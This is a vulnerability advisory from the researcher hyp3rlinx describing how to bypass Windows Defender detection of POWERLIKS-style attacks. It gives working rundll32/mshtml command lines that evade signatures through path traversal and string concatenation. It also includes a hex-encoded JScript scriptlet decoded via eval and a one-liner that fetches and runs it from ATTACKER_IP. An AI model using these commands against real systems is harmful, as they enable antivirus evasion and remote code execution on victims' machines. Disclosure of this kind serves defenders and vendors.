[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Windows Defender

Microsoft Defender Antivirus is a major component of your next-generation protection in Microsoft Defender for Endpoint. This protection brings together
machine learning, big-data analysis, in-depth threat resistance research, and the Microsoft cloud infrastructure to protect devices (or endpoints) in
your organization. Microsoft Defender Antivirus is built into Windows, and it works with Microsoft Defender for Endpoint to provide protection on your
device and in the cloud.

[Vulnerability Type]
Windows Defender Detection Bypass
TrojanWin32Powessere.G - Backdoor:JS/Relvelshe.A

[CVE Reference]
N/A

[Security Issue]
Currently, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail
and attackers will get an "Access is denied" error message. However, it can be easily bypassed by passing an extra path traversal when referencing mshtml.

C:\>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(1)
Access is denied.

Pass an extra "..\" to the path.
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";alert(666)

Windows Defender also detects based on the following javascript call using GetObject("script:http://ATTACKER_IP/hi.tmp").
However, that interference can be bypassed by using concatenation when constructing the URL scheme portion of the payload.

C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://ATTACKER_IP/hi.tmp")
Access is denied.

Full bypass E.g.

C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://ATTACKER_IP/hi.tmp")

Enter, Backdoor:JS/Relvelshe.A detection.

Windows Defender also prevents downloaded code execution, detected as "Backdoor:JS/Relvelshe.A" and is removed by Windows Defender once it hits InetCache.
"C:\Users\victim\AppData\Local\Microsoft\Windows\INetCache\IE\2MH5KJXI\hi.tmp[1]"

However, this is easily bypassed by Hex encoding our payload code new ActiveXObject("WScript.Shell").Run("calc.exe").
Then, call String.fromCharCode(parseInt(hex.substr(n, 2), 16)) to decode it on the fly passing the value to Jscripts builtin eval function.

[References]
Trojan:Win32/Powessere.G
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FPowessere.G%21lnk&ThreatID=2147752427

Backdoor:JS/Relvelshe.A
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/Relvelshe.A&ThreatID=2147744426

Advisory:
https://twitter.com/hyp3rlinx/status/1480651583172091904

[Exploit/PoC]
1) Remote code Jscript component "hi.tmp", host on server port 80, it pops calc.exe using WScript.Shell and defeats Backdoor:JS/Relvelshe.A detection.

python -m http.server 80

"hi.tmp"

```
<?xml version="1.0"?>
<component>
<script>
<![CDATA[
var hex = "6E6577204163746976584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
</script>
</component>
```

2) C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://ATTACKER_IP/hi.tmp")

BOOM!

[Network Access]
Local

[Severity]
High

[Disclosure Timeline]
January 10, 2022 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx